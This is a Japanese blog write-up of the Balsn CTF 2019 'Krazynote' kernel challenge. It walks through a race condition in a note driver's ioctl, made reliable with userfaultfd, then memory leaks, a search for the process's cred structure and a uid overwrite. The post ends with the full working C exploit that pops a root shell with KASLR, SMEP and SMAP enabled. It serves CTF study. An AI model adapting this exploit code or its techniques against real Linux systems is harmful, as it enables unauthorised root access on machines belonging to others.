newbieからバイナリアンへ

【pwn 33.0】Krazynote - Balsn CTF 2019 (kernel exploit)

 

  

0: 参考

pr0cf5.github.io

 

 

1: イントロ

いつぞや行われた BalsnCTF 2019 pwn問題 Krazynote

race condition/ PTEの書き換え/ brute-force 等様々な要素が関わってきて面白かった

 

 

2: 準備

配布物

run.sh: QEMUのスタートアップスクリプト. SMEP/SMAP有効. threads=4

initramfs.cpio.gz: initramfs. 特筆すべきことは無し

note.ko: LKM. ソースコードは無し

bzImage: カーネルイメージ. バージョン情報等は以下の通り 

Linux (none) 5.1.9 #1 SMP Fri Jun 14 17:32:01 CST 2019 x86_64 GNU/Linux
filename:       /home/wataru/Documents/ctf/balsn2019/krazynote/work/./note.ko
description:    Secret Note
license:        GPL
srcversion:     3D2D944721745235FC446C4
depends:
retpoline:      Y
name:           note
vermagic:       5.1.9 SMP mod_unload

 

その他

LKMのソースが配布されている場合には、自前ビルドしたカーネルツリー下でモジュールをビルドしてやるとかなりデバッグがしやすくなるのだが、今回はソースが添付されていなかったため配布された素のイメージを使うことにした

環境やexploit本体などは以下のリポジトリに置いてある

github.com

 

3: 問題概要ととっかかりのBug 

配布されたLKMは /dev/note という名で miscdevice を登録する 

f:id:smallkirby:20200809062755p:plain

registered miscdevice

この時、fops には以下のように openunlocked_ioctl しか登録されていない

f:id:smallkirby:20200809062908p:plain

file_operations of /dev/note

open は特筆すべき内容がなく、実際は unlocked_ioctl のみに注目すれば良い

Ghidraでデコンパイルすると結構気持ち悪いコードが生成されたが、気合で補完したコードが以下である

#define CREATE 0xffffff00
#define EDIT   0xffffff01
#define READ   0xffffff02
#define ALLDEL 0xffffff03

struct information{
  unsigned long idx;      // index of note
  unsigned char size;     // size of note
  char *buf;              // userland buffer to/from which note content is written/read
};

struct note{
  unsigned long secret;
  unsigned long size;
  char *content_ptr;      // maybe pointing to content below, though a little bit aligned?
  char content[];
};

struct note **notes;                  // array of note @ 0x102b60
static char *main_buf_ptr = 0x100b60; // @ 0x100b40

long* unlocked_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{
  struct information info;
  char buffer[0x100];
  int tmp;
  char *tmp_ptr;
  unsigned long secret;
  struct note *target_note;

  info.idx = 0;
  info.size = 0;
  info.buf = NULL;
  memset(buffer, 0x00, 0x100);

  if(_copy_from_user(&info, (void*)arg, 0x18) == 0){
    info.size = info.size & 0xff;
    info.idx = info.idx & 0xf;

    switch(cmd){
      case CREATE:    // create new note
        info.idx = -1;
        for(int ix=0; ix!=0x10; ++ix){
          if(notes[ix] != NULL)  // when find empty note entry
            continue;

          // copy requested note information from user
          notes[ix] = main_buf_ptr;
          notes[ix]->size = info.size;
          notes[ix]->secret = *(unsigned long*)(*(long*)(*(long*)(&current_task + in_GS_OFFSET) + 0x7e8) + 0x50);

          if(info.size > 0x100){
            _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x100, info.size);
            do{ invalidInstructionException(); }while(true);
          }

          // copy note content from userland
          __check_object_size(buffer, 0, info.size);
          _copy_from_user(buffer, info.buf, info.size);

          // encrypt copied note content
          if(info.size != 0){
            tmp = 0;
            secret = notes[ix]->secret;
            do{
              *(unsigned long*)(buffer + tmp) = *(unsigned long*)(buffer + tmp) ^ secret;
              tmp += 8;
            }while(tmp < info.size);
          }
          memcpy(main_buf_ptr + 0x18, buffer);
          notes[ix]->content_ptr = main_buf_ptr + 0x18 - page_offset_base; // ???

          // set pointer forward
          main_buf_ptr = main_buf_ptr + 0x18 + notes[ix]->size;
        }
        break;

      case READ:
        target_note = notes[info.idx];
        if(target_note != NULL){
          tmp_ptr = target_note->content_ptr + page_offset_base;
          if(target_note->size != 0){
            memcpy(buffer, tmp_ptr, target_note->size);
            for(int ix=0; ix!=target_note->size; ){
              *(unsigned long*)(buffer + ix) = *(unsigned long*)(buffer + ix) ^  target_note->secret;
              ix += 8;
            }
            __check_object_size(buffer, target_note->size, 1);
            _copy_to_user(info.buf, buffer, target_note->size);
          }
          return 0;
        }else
          return 0;
        break;

      case ALLDEL:
        for(int ix=0; ix!=8; ++ix)
          notes[ix] = NULL;
        main_buf_ptr = 0x100b60;
        for(int ix=0; ix!=0x400; ++ix)
          *(unsigned long*)(main_buf_ptr + ix*8) = 0x0;
        break;

    case EDIT:
      /* ommitted cuz almost same as create */
      break;

      default:
        return  0xffffffffffffffe7;
    }

  }else{
    return 0xfffffffffffffff2;
  }
}

 ioctlcmd で指定された値に応じて note を作成/消去/編集/読み込みする。この際使用されるバッファはモジュールの .bss 領域に存在し、その先頭から順次使用していくという形式になっている。また、ノートに書き込む/ノートから読み取った値を userland とやりとりするために _copy_to_user()_copy_from_user() を用いている。ユーザはノートに書き込む値の他にも、ノートのサイズやインデックスを指定することができる。

特筆すべき点は、ノートに保存する値を page_offset_base という値でXORにかけ疑似暗号化していること。この page_offset_base は上に示したコードの通り struct task_struct 中のいずれかのメンバを参照した先の値なのだが、task_struct は kernel のビルドオプションによってかなりメンバが変わるため、page_offset_base がどのメンバに相当するのかを調べるのは難しい。詳しくは後述するが、それなりのデバッグと多少のメタ読みとカンニングの結果、この値は task_struct.mm -> (struct mm_struct*)mm-> (pgd_t*)pgd であることが分かった。最初のページディレクトリテーブルのアドレスである。

また、ノート構造体の content_ptr には実際にノートの内容が書いてあるアドレスではなく、そのアドレスに先程の page_offset_base を減算したアドレスが格納されていることも重要である。

 

さて、とっかかりの脆弱性race condition である。

 そもそもに compat_ioctl ではなく unlocked_ioctl が使われているため、_copy_from_user() 等の処理中にもロックが取られない。そのため、_copy_from_user() で使用するメモリ領域を途中で書き換えることができる。これを実現するためには、以下の順で ioctl を呼ぶ。

    CREATE: idx=0 size=0xf0
    EDIT:   idx=0
      |
      |                       ALLDELETE
      |                       CREATE: idx=0 size=0x10
      |                       CREATE: idx=1 size=0x10
      o
    (fin EDIT)

まず大きいサイズ(許容される最大サイズは 0xFF ) でノートをCREATEし、引き続きそれをEDITするのだが、それと同時に別スレッドにおいてALLDELETEを実行して全てのノートを削除し、引き続きCREATEで新しいノートを2つ作る。この別スレッドの作業はEDITが完了するまでに行う必要がある。一般に _copy_from_user() は重い処理であるから、何万回かトライすればこのような race condition が成立する。

これが成立するとノートバッファは以下の図のようになる。

 

f:id:smallkirby:20200809071719p:plain

when race condition

EDITの最中に他スレッドによってノートが初期化され新たにサイズの小さい2つのノートがCREATEされたにも関わらず、EDITは古い情報をもとに _copy_from_user を既に実行してしまっているため、本来書き換えてはいけない note1size  secret を書き換えていることが分かる。

この状態で note1 から値をREADすることを考える。READの際には secret とXORすることでもとの値に復号してから _copy_to_user を行うのだが、今 secret1 にはoverwriteさせた分の 0 ^ secret が入っている。よって、note1 からデータ領域にある 0 (図中メモリ領域した半分の空白部分)を読もうとして復号処理を行うと、0 ^ secret ^ 0 をユーザに渡すことになり、これによって secret の値をリークすることができる。

secret の値が入手できたことと、note1 が実際よりも大きい size の情報を保持しているということから既に殆どAAW/AARであるが、詳しくは後述する。

 

 

4: userfaultfdによってrace conditionを安定させる

上述したrace conditionは数万回トライすれば恐らく1回は成功する気がする。だが、以下では race condition を更に安定化させる方法を考える。

userfaultfd システムコールによって userland におけるページフォルトをハンドリングすることができる。 基本的な使い方については man userfaultfd を参照のこと。尚、libcにこのシステムコールのwrapperはないため直接 syscall() を使うしかない。

 

このuserfaultfdによってmmap()したページをcopy_from_userでkernellandに渡すことで、kernel側が該当ページにアクセス(EDIT)した瞬間にkernelの処理を止めてuserlandに処理を移すことが可能になる

 lazy loading が有効な場合には、mmap した瞬間にはそのページに対して物理メモリはマッピングされず、該当ページへのアクセスが発生た瞬間初めてページフォルトを発生させて物理メモリを割当・スワップインさせることになる

よって、mmap() だけしてアクセスされていない領域をEDITのデータ元として渡してやることでEDIT内の _copy_from_user() の開始直後にページフォルトが発生しユーザランドに処理を戻すことができる。ここで呼び出されるハンドラ内で、上述したALLDELETE+CREATE+CREATEの処理を行い、その後で処理を再び戻してやれば、先程のrace conditionは100%の確立で成功することになる。

以下が、userfaultfdの登録及びフォルトをハンドリングする関数である。尚、いずれもuserfaultfdのmanページを参照している。

// cf. man page of userfaultfd
static void* fault_handler_thread(void *arg)
{
  puts("[+] entered fault_handler_thread");

  static struct uffd_msg msg;   // data read from userfaultfd
  struct uffdio_copy uffdio_copy;
  long uffd = (long)arg;        // userfaultfd file descriptor
  struct pollfd pollfd;         //
  int nready;                   // number of polled events

  // set poll information
  pollfd.fd = uffd;
  pollfd.events = POLLIN;

  // wait for poll
  puts("[+] polling...");
  while(poll(&pollfd, 1, -1) > 0){
    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
      errExit("poll");

    // read an event
    if(read(uffd, &msg, sizeof(msg)) == 0)
      errExit("read");

    if(msg.event != UFFD_EVENT_PAGEFAULT)
      errExit("unexpected pagefault");

    printf("[!] page fault: %p\n",msg.arg.pagefault.address);

    // Now, another thread is halting. Do my business.
    puts("[+] now alldel + create*2");
    _alldel();                    // delete all notes
    _create(buf,0x10);            // create note idx:0
    _create(buf,0x10);            // creat enote idx:1


    // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
    uffdio_copy.src = buf;
    uffdio_copy.dst = addr;
    uffdio_copy.len = len;
    uffdio_copy.mode = 0;
    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
      errExit("ioctl-UFFDIO_COPY");

    break;
  }

  puts("[+] exiting fault_handler_thrd");
}

// cf. man page of userfaultfd
void register_userfaultfd_and_halt(void)
{
  puts("[+] registering userfaultfd...");

  long uffd;      // userfaultfd file descriptor
  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;

  // create userfaultfd file descriptor
  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
  if(uffd == -1)
    errExit("userfaultfd");

  // enable uffd object via ioctl(UFFDIO_API)
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
    errExit("ioctl-UFFDIO_API");

  // mmap
  puts("[+] mmapping...");
  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
  puts("[+] mmapped...");
  if(addr == MAP_FAILED)
    errExit("mmap");

  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
  uffdio_register.range.start = addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
    errExit("ioctl-UFFDIO_REGISTER");

  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
  if(s!=0){
    errno = s;
    errExit("pthread_create");
  }

  puts("[+] registered userfaultfd");
}

 

5: page_offset_base/ modulebase の leak

secret を入手できたため、note1 をREADすることで note2 content_ptr をleakすることができる。(note1 の size は 0xFF ^ secret という巨大な値になっているため note2 のメタ情報までREADすることができる)

secret と content_ptr があれば、やはり note1 を利用することで note2 content_ptr を上書きし、好きなアドレスの値を読み書きすることができる。

但し、本当に任意のアドレスのAAW/AARを達成するためには、目的のアドレスに対して減算するべき page_offset_base の値をleakする必要があるのだが、今現在この値はわかっていない。しかしその状態でも、先ほどleakした content_ptr には既に page_offset_table の値が減算されているという事実を用いて、.bss セクション内での相対的AAW/AARならば可能である。

よって、まずは note2 がノートアドレスの配列である notes_array を指すように上書きし、これによってノートが作られるバッファのアドレスをleakする。すると、content_ptr の page_offset_base を減算する前の値が手に入る。この2つの値を用いて page_offset_base の値を計算することができる。

また、.bss セクションのアドレスが分かったことになるため、modulebaseもleakできたことになる。

f:id:smallkirby:20200809081203p:plain

leak modulebase

 

 

6: kernbaseのleak

ここまでで secret page_offset_base modulebase の3つがleakできているため、真の意味でAAW/AARになっている。だがkernbaseが分かっていないため、まずはコレを求める必要がある。

モジュール内に含まれるkernel symbol関連の情報と言えば、copy_from_user/ copy_to_user 等の関数の呼び出しである。モジュールのビルド時には当然これらのアドレスがわからないから、モジュールのインストール時に該当 call 命令を上書きし、RIPを用いた相対アドレスによってkernel関数のアドレスを解決している。例えばモジュール内の copy_to_user を呼び出す命令は以下のようになっていた。

f:id:smallkirby:20200809081856p:plain

call copy_to_user

これの上位4byteが相対アドレスであり、RIP + 0xF1620D0F で実際の copy_to_user のアドレスが計算できる。(相対アドレッシングに用いるRIPの値は、この命令ではなく、この1個次の命令のアドレスであることに注意。5を加える必要がある)

modulebaseがわかっておりAARであるから、この命令をleakすることでkernelのtextbaseをleakすることができる。

 

 

7: PTEの権限bitを書き換える

 最初の方で言及したように、page_offset_base はページディレクトリのアドレスを表していた。AAWが存在する今、このページディレクトリを辿っていって目的ページのPTEを探し出し、permissionを変更してしまうことでRWX領域を作ることができる。そうなってしまえば後は kernelland に shellcode を仕込むことで、SMEP/SMAPに触れることなく目的を達成できる。尚、ページディレクトリは多重になっている。詳しくは(?)以下のページを参考のこと。

www.geeksforgeeks.org

 

 

0:参考に挙げたページではこの方法を使っている。だが、今回は違う方法を使ってみることにした。

 

 

8: prctl によって特定の領域をマーキングして総当りする

 kernel pwn の定石といえば、struct task_struct current の struct cred __rcu *cred 内のメンバを書き換えてUID==0にすることである。現状この手法を使うにあたって難しいのは、現在のタスクの cred のアドレスがわからないということである。逆に言えばこのアドレスさえleakできればAAWがあるため終了である。

struct task_struct 内の cred 周辺を見ると、char comm[TASK_COMM_LEN] というメンバが見つかる。これは、実行ファイル名が格納される配列(ポインタではなく!!!)であり、例えばカーネルのパニック時に以下のようなメッセージ上で出力されたりする。

f:id:smallkirby:20200809083905p:plain

comm = "FuckThisSummer"

この comm は ioctl (PR_SET_NAME) によってユーザが任意のタイミングで任意の文字列に変更することができる。AARであるから、この文字列をmarkerとしてメモリ状を全探索することで task_struct中の comm のアドレスを探し出すことができる。

また、デバッグオプションによって構造体内のオフセットが変動すると先に述べたが、comm cred は隣り合っているメンバである。 よっぽどのことがない限り、comm - 8 = cred になると考えられる。(知らんけど)

ということで、愚直に全探索すると30秒程で cred の値がleakできる。

f:id:smallkirby:20200809084425p:plain

leak &cred via brute-force

 

 

9: rootへ

cred のアドレスがわかっており、且つAAWであるため、もうやることは一つ

 

 

 

10: exploit

KASLR/ SMAP/ SMEP有効。

#define _GNU_SOURCE
#include<sys/types.h>
#include<stdio.h>
#include<linux/userfaultfd.h>
#include<pthread.h>
#include<errno.h>
#include<stdlib.h>
#include<fcntl.h>
#include<signal.h>
#include<string.h>
#include<sys/mman.h>
#include<sys/syscall.h>
#include<poll.h>
#include<unistd.h>
#include<string.h>
#include<sys/ioctl.h>
#include<sys/prctl.h> #define ulong unsigned long #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) ulong user_cs,user_ss,user_sp,user_rflags; int fd; // file descriptor of /dev/note void pop_shell(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } static void save_state(void) { asm( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } #define CREATE 0xffffff00 #define EDIT 0xffffff01 #define READ 0xffffff02 #define ALLDEL 0xffffff03 struct info{ unsigned long idx; unsigned long size; char *buf; }; int _create(char *buf, unsigned long size) { struct info info; info.buf = buf; info.size = size; info.idx = 0; if(ioctl(fd,CREATE,&info) < 0) errExit("_create"); puts("[+] created new note"); } int _alldel(void) { struct info info; info.buf = NULL; info.size = 0; info.idx = 0; if(ioctl(fd,ALLDEL,&info) < 0) errExit("_delall"); puts("[+] all deleted"); } int _read(unsigned long idx,char *buf) { struct info info; info.buf = buf; info.size = 0; info.idx = idx; if(ioctl(fd,READ,&info) < 0) errExit("_read"); //printf("[+] read note: %d\n",idx); } int _edit(unsigned long idx, char *buf) { struct info info; info.buf = buf; info.size = 0; info.idx = idx; if(ioctl(fd,EDIT,&info) < 0) errExit("_edit"); //printf("[+] edited: %d\n",idx); } char *addr = 0x117117000; // memory region supervisored char buf[0x3000]; // userland buffer unsigned long len = 0x1000; // memory length // cf. man page of userfaultfd static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: %p\n",msg.arg.pagefault.address); // Now, another thread is halting. Do my business. puts("[+] now alldel + create*2"); _alldel(); // delete all notes _create(buf,0x10); // create note idx:0 _create(buf,0x10); // creat enote idx:1 // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl uffdio_copy.src = buf; uffdio_copy.dst = addr; uffdio_copy.len = len; uffdio_copy.mode = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); break; } puts("[+] exiting fault_handler_thrd"); } // cf. man page of userfaultfd void register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); // mmap puts("[+] mmapping..."); addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr. puts("[+] mmapped..."); if(addr == MAP_FAILED) errExit("mmap"); // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER) uffdio_register.range.start = addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd); if(s!=0){ errno = s; errExit("pthread_create"); } puts("[+] registered userfaultfd"); } int main(void) { unsigned long secret; unsigned long content_ptr; unsigned long modulebase; unsigned long dif_main_buf, dif_notes_array; unsigned long page_offset_base; unsigned long rip_call_copy_to_user; unsigned long addr_copy_to_user; signed long rel_jmp_offset; unsigned long kern_textbase; void *tmp_addr; unsigned char *addr_cred; unsigned long addr_cred_in_task_struct; char tmp_buf[0x100]; unsigned long diff_copy_to_user = 0x353ee0; memset(buf, 0x00, sizeof(buf)); // open miscdevice //if((fd=open("/dev/note",O_RDWR))<0) // O_RDWR would be rejected due to permission error if((fd=open("/dev/note",O_RDONLY))<0) errExit("open-/dev/note"); // leak secret buf[0x10+0x8] = 0xff; // overwrite note1's size, which is allocated later _create(buf, 0x19); register_userfaultfd_and_halt(); sleep(1); _edit(0, addr); // invoke page fault and call fault_handler _read(1, buf); printf("[+] buf addr: %p\n",buf); printf("[!] head of leaked data:\n"); for(int ix=0; ix!=0x8; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix]); } secret = (void*)((unsigned long*)buf)[0x2]; printf("[!] secret: %p\n", secret); // leak content_ptr memset(buf, 0x00, sizeof(buf)); _create(buf, 0x10); // idx:2 _read(1, buf); printf("[!] leaked data decrypted with secret: %llx:\n",secret); for(int ix=0;ix!=0x10; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix] ^ secret); } content_ptr = ((unsigned long*)buf)[4] ^ secret; printf("[!] content_ptr of note2: %p\n",(void*)content_ptr); dif_main_buf = content_ptr - 0x68; // main_buf - page_offset_base dif_notes_array = dif_main_buf + (0x102b60 - 0x100b60); // notes_array - page_offset_base printf("[!] dif_notes_array: %p\n",(void*)dif_notes_array); // leak modulebase & page_offset_base ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 8; // size of note2 ((unsigned long*)buf)[4] = dif_notes_array; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); // overwrite note2's content_ptr into notes_array _read(2, buf); // read &note0 printf("[!] leaked data decrypted with secret: 0x00:\n"); for(int ix=0;ix!=0x8; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix]); // notes are no more encrypted } modulebase = (((unsigned long*)buf)[0]) - 0x2520; page_offset_base = (((unsigned long*)buf)[0]) + 0x68 - content_ptr; printf("[!] modulebase: %p\n",(void*)modulebase); printf("[!] page_offset_base: %p\n",(void*)page_offset_base); /* now we have AAW/AAR, not limited to relative one */ // read instruction rip_call_copy_to_user = modulebase + 0x1cc; ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 8; // size of note2 ((unsigned long*)buf)[4] = rip_call_copy_to_user - page_offset_base; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); // overwrite note2's content_ptr into notes_array _read(2, buf); // read instruction printf("[!] instruction call copy_to_user():\n\t"); for(int ix=0; ix!=5; ++ix){ printf("%02x ", *(unsigned char*)(buf + ix)); } printf("\n"); // calc addr of call_to_user and kern_textbase addr_copy_to_user = rip_call_copy_to_user; rel_jmp_offset = 0; for(int ix=0; ix!=4; ++ix){ //addr_copy_to_user += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix + 32); rel_jmp_offset += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix); } addr_copy_to_user = (signed int)rel_jmp_offset + addr_copy_to_user + 5; // relational jmp uses RIP for "next" instruction's addr, so add len(call copy_to_user) printf("[!] copy_to_user: %p\n",(void*)addr_copy_to_user); kern_textbase = addr_copy_to_user - diff_copy_to_user; printf("[!] kern_textbase: %p\n",(void*)kern_textbase); /* task_struct はデバイスオプションによって中身がかなり変わるため、+0x7e8がどのメンバが突き止めるのはムリ */ /* struct task_struct 中の char comm[0x10] という、executable nameを格納するメンバがある prctl(PR_SET_NAME) によってこの current->comm を変更することができる */ if(prctl(PR_SET_NAME, "FuckThisSummer") == -1) // change current->comm into "FuckThisSummer" errExit("prctl"); for(unsigned long ix=0; 1==1; ix+=0x50){ tmp_addr = page_offset_base + ix; // target of search if(ix%0x100000*2==0) printf("[.] searching %llx ...\n", tmp_addr); memset(buf, 0x00, 0x100); ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 0xff; // size of note2 ((unsigned long*)buf)[4] = tmp_addr - page_offset_base; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); _read(2, buf); tmp_addr = memmem(buf, 0x100, "FuckThisSummer", sizeof("FuckThisSummer")); if(tmp_addr != NULL){ addr_cred = *(unsigned long*)((unsigned long)tmp_addr - 8); tmp_addr = page_offset_base + ix + (buf - (unsigned long)tmp_addr); printf("\n[!!] FOUND current_task.comm: %p\n",(void*)tmp_addr); printf("\n[!!] FOUND cred: %p\n",(void*)addr_cred); break; } } // いくらデバッグオプションでメンバが違うと言っても、credとcommは隣り合っているから大丈夫 // leak cred // overwrite content_ptr of note2 into cred memset(tmp_buf, 0x00, 0x100); ((unsigned long*)tmp_buf)[0] = 0; // content of note1 ((unsigned long*)tmp_buf)[1] = 0; // content of note1 ((unsigned long*)tmp_buf)[2] = 0; // secret of note2 ((unsigned long*)tmp_buf)[3] = 0x20; // size of note2 ((unsigned long*)tmp_buf)[4] = addr_cred + 4 - page_offset_base; // +4 is to avoid atomic_t usage for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)tmp_buf)[ix] = ((unsigned long*)tmp_buf)[ix] ^ secret; } _edit(1, tmp_buf); // Overwrite current->cred->uid into zero puts("[+] overwrite current->uid"); memset(buf, 0x00, 0x100); _edit(2, buf); // pop shell and happy birthday! puts("[!!!] popping shell...\n"); pop_shell(); return 0; }

 

 

11: アウトロ

f:id:smallkirby:20200809084810p:plain

GOT A FLAGG!

 

歳を取りたくなさすぎて泣いています

 

 

 

 

 

 

 

 

 

 

続く...